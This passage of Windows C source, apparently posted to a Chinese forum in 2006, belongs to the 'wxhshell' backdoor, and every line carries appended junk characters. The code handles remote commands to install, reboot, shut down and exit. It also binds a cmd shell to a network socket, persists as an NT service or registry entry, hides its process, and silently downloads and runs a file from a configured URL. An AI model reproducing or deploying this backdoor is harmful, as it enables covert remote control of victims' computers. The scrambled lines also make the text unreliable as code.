  } g8qN+Gg  
  else { p1|@F^Q  
qY0Ic5wCY  
    switch(cmd[0]) { |faXl3|  
  90ORx\Oeo  
  // 帮助 :^ cA\2=  
  case '?': { %*s[s0$c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \}<nXn!  
    break; zF{ z_c#3@  
  } i\t4TdEx(  
  // 安装 7vHU49DV  
  case 'i': { 54'z"S:W  
    if(Install()) 3gGF?0o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fe/*U4xU  
    else ;XTP^W!6f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); leyX: +  
    break; &j>`H:  
    } P"xP%zqo  
  // 卸载 O^IpfS\/  
  case 'r': { R_H di~ k  
    if(Uninstall()) kj-S d^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Uk/Zg w^  
    else "urQUpF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tZ6KU11O  
    break; ^c!Hur6)  
    } (>Tu~Vo  
  // 显示 wxhshell 所在路径 =UYc~VUYnT  
  case 'p': { ~5JXY5 *o  
    char svExeFile[MAX_PATH]; i4uUvZ f  
    strcpy(svExeFile,"\n\r"); IB?5y~+h  
      strcat(svExeFile,ExeFile); 9pk<=F  
        send(wsh,svExeFile,strlen(svExeFile),0); A46y?"]/30  
    break; k|g~xmI;  
    } IPY@9+]  
  // 重启 M<)HJ lr  
  case 'b': { *.i` hfRc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); my*/MC^O  
    if(Boot(REBOOT)) k'S/nF A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &PGU%"rN  
    else { g.,IQ4o  
    closesocket(wsh); _$F I>  
    ExitThread(0); q'1rSK  
    } EmH2 Dbw  
    break; un..UU4  
    } W/&cnp\  
  // 关机 p'_* >%4~  
  case 'd': { tt`b+NOH>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jj([O2Eq$  
    if(Boot(SHUTDOWN)) .ipYZg'V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fc&4e:Ve  
    else { g8B@M*JA  
    closesocket(wsh); 0P!6 .-XU  
    ExitThread(0); & }}o9  
    } ,H.q%!{h_  
    break; q5QYp  
    } P+o ZS  
  // 获取shell {E!$<A9  
  case 's': { z?+N3p9  
    CmdShell(wsh); A!hkofQ  
    closesocket(wsh);  DMf:u`<  
    ExitThread(0); :GO}G`jY  
    break; ^OYar(  
  } \f%jN1z  
  // 退出 ~I!7]i]"*?  
  case 'x': { nKV1F0-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rb\\6 BU0  
    CloseIt(wsh); (uRAK  
    break; {HQ?  
    } NPKRX Li%  
  // 离开 U?H!:?,C  
  case 'q': { _ea!psA0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +Pn+&o;D  
    closesocket(wsh); UB=I>  
    WSACleanup(); ]JtK)9  
    exit(1); :uqsRFo&4  
    break; V~ZAs+(2Z  
        } Bm.%bA>  
  } &|55:Y87  
  } 5H>[@_u+:  
l*/I ; a$  
  // 提示信息 7X1T9'j I2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3C2L _ K3  
} RV7l=G9tq  
  } 8g&uCv/Uk  
.3!=]=  
  return; W}nD#9tL  
} $I+QyKO9k  
<{7B ^'  
// shell模块句柄 A=E1S{C  
int CmdShell(SOCKET sock)  lcyan  
{ vMDV%E S1t  
STARTUPINFO si; <+pwGKtD  
ZeroMemory(&si,sizeof(si)); l *.#g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gHA"O@HgDI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WOR~tS  
PROCESS_INFORMATION ProcessInfo; V% psaT=)P  
char cmdline[]="cmd"; g/'MECB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RCo!sZP}  
  return 0; %Q rf ]  
} <<Ut@243\  
(*BQd1Z  
// 自身启动模式 Pf-k"7y  
int StartFromService(void) X.bNU  
{ fD]}&xc  
typedef struct WFULQQ*  
{ j8L!miv6  
  DWORD ExitStatus; -T`rk~A9A  
  DWORD PebBaseAddress; vG69z&  
  DWORD AffinityMask; pjWqI 6,  
  DWORD BasePriority; LZ}C{M{=5A  
  ULONG UniqueProcessId; 6Jrh'6 o@  
  ULONG InheritedFromUniqueProcessId; gI<TfcC  
}   PROCESS_BASIC_INFORMATION; 5fA<I _ D  
h /@G[5E  
PROCNTQSIP NtQueryInformationProcess; zT*EpIa+LS  
vc5g 4ud  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :WJ[a#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; STL&ZO  
+r"{$'{^  
  HANDLE             hProcess; 6/Q'o5>NL:  
  PROCESS_BASIC_INFORMATION pbi; 6ix8P;;}#  
fOtL6/?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8:|F'{<<b  
  if(NULL == hInst ) return 0; AK} wSXF  
I!|_C~I`2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?ep93:j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >PGW>W$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); db'Jl^  
Zchs/C 9{  
  if (!NtQueryInformationProcess) return 0; 2X!O '  
{'NdN+_C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B#N(PvtE  
  if(!hProcess) return 0; D ]:sR  
R6r'[- B2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cq(dj^/~m  
#;# V1  
  CloseHandle(hProcess); py6|uGN  
=rMT1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nm_]2z O  
if(hProcess==NULL) return 0; $0~H~ -  
s=h  
HMODULE hMod; '%vb&a!.6  
char procName[255]; 5IE2&V  
unsigned long cbNeeded; tXV9+AJ  
d<r=f"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !ZJ" lm  
B\G?dmo  
  CloseHandle(hProcess); }_vE lBh6$  
BxS\ "W  
if(strstr(procName,"services")) return 1; // 以服务启动 ]Nz~4ebB  
Mk Er|w'  
  return 0; // 注册表启动 %QCh#v=ks  
} @`^+XPK\  
 yl0&|Ub  
// 主模块 y-w=4_W  
int StartWxhshell(LPSTR lpCmdLine) e C?adCb  
{ 8*-8"It<"  
  SOCKET wsl; L}T:Y).  
BOOL val=TRUE; f 0A0uU8y  
  int port=0; mEyJ o|  
  struct sockaddr_in door; ]3u ErnI  
Ne!F  p  
  if(wscfg.ws_autoins) Install(); mtSOygd  
,u8)g; 8s  
port=atoi(lpCmdLine); ms@*JCL!t  
^V#9{)B  
if(port<=0) port=wscfg.ws_port; FAkjFgUJp  
Ue^2H[zs-  
  WSADATA data; RB`Emp&T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GVP"~I~/:  
]r8t^bqe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *$~H=4t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N}HQvlLkF9  
  door.sin_family = AF_INET; $w4%JBZr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cp` [0v~0  
  door.sin_port = htons(port); Vf9PHHH|   
%5Hsd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ 'G%%%;4  
closesocket(wsl); N3nFE:`u]  
return 1; mrX 2w  
} uu@Y]0-  
B8 ;jRY  
  if(listen(wsl,2) == INVALID_SOCKET) { PY- 1 oP  
closesocket(wsl); = _X#JP79  
return 1; :34]}`-  
} `?r]OVe{y  
  Wxhshell(wsl); S{' /=Px+  
  WSACleanup(); ErIAS6HS'  
|h$*z9bsf  
return 0; KE!aa&g  
`@1y|j:m  
} PLD6Ug  
QWz5iM  
// 以NT服务方式启动 a$H*C(wL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D;VQoO  
{ &/R`\(hEA  
DWORD   status = 0; -e0C Bp  
  DWORD   specificError = 0xfffffff; &D0suK#  
Yt*2/jw^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,WSK '  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r!:W-Y%&#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8|*#r[x  
  serviceStatus.dwWin32ExitCode     = 0; ^L#\z7  
  serviceStatus.dwServiceSpecificExitCode = 0; k`FCyO  
  serviceStatus.dwCheckPoint       = 0; feU]a5%XZ  
  serviceStatus.dwWaitHint       = 0; 5mxHOtvtWM  
4gbi?UAmX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z(V?pHv+  
  if (hServiceStatusHandle==0) return; D#Fe\8!l  
V; 0{o  
status = GetLastError(); acr@erk  
  if (status!=NO_ERROR) E]$YM5  
{ Jf6u E?.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E`s9SE  
    serviceStatus.dwCheckPoint       = 0; 3jR,lEJyj  
    serviceStatus.dwWaitHint       = 0; {,EOSta  
    serviceStatus.dwWin32ExitCode     = status; l,AK  
    serviceStatus.dwServiceSpecificExitCode = specificError; OjO$.ecT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jyQ Bx  
    return; ;Yo9e~  
  } /^ *GoB  
3 d $  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _%^t[4)q  
  serviceStatus.dwCheckPoint       = 0; \)Jv4U\;  
  serviceStatus.dwWaitHint       = 0; 7oaa)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :aHD'K  
} :a$ZYyD  
/ !J1}S  
// 处理NT服务事件,比如:启动、停止 v l59|W6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~3-2Iu^F  
{ yem*g1  
switch(fdwControl) NCbl|v=  
{ )#ze  
case SERVICE_CONTROL_STOP: )P4#P2  
  serviceStatus.dwWin32ExitCode = 0; Vfew )]I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @gzm4  
  serviceStatus.dwCheckPoint   = 0; 3l5rUjRwj  
  serviceStatus.dwWaitHint     = 0; #;cDPBv*wS  
  { GBOz,_pw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $[9,1.?C  
  } c*MSd  
  return; +9Z RCmV  
case SERVICE_CONTROL_PAUSE: R7aS{8nn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eveGCV;@  
  break; ]}z;!D>  
case SERVICE_CONTROL_CONTINUE: :(tSL{FO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lOp/kGmn+  
  break; Z-[nHSf  
case SERVICE_CONTROL_INTERROGATE: lsmzy_gV7  
  break; R:=C  
}; +SCUS]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7+] T}4;  
} T3 xr Ua&  
DDxNqVVt4  
// 标准应用程序主函数 Zur7"OkQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &We1i &w  
{ u*_I7.}9  
N{Og; roGD  
// 获取操作系统版本 xR+=F1y  
OsIsNt=GetOsVer(); f:iK5g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !M:m(6E1  
*]G&pmMs  
  // 从命令行安装 il^SGH  
  if(strpbrk(lpCmdLine,"iI")) Install(); E.W7`zl  
+js3o@Ku{\  
  // 下载执行文件 *0bbSw1kc  
if(wscfg.ws_downexe) { "aNl2T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yo0%5 noz  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Cf%v`B4D  
} 1lRqjnzve&  
JtYc'%OF  
if(!OsIsNt) { dIv/.x/V  
// 如果时win9x,隐藏进程并且设置为注册表启动 S!J.$Y<Ko  
HideProc(); x)<5f|j  
StartWxhshell(lpCmdLine); oH~ZqX.3  
} oiAU}iK:  
else pJ7wd~wF*  
  if(StartFromService()) B.fLgQK0  
  // 以服务方式启动 L^PZ\OC  
  StartServiceCtrlDispatcher(DispatchTable); q|m8G  
else PZ69aZ*Gs  
  // 普通方式启动 0^44${bA  
  StartWxhshell(lpCmdLine); 3}O.B r|  
8 OC5L1  
return 0; ;aYPv8s~,:  
}
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只看该作者 1 发表于: 2006-10-10
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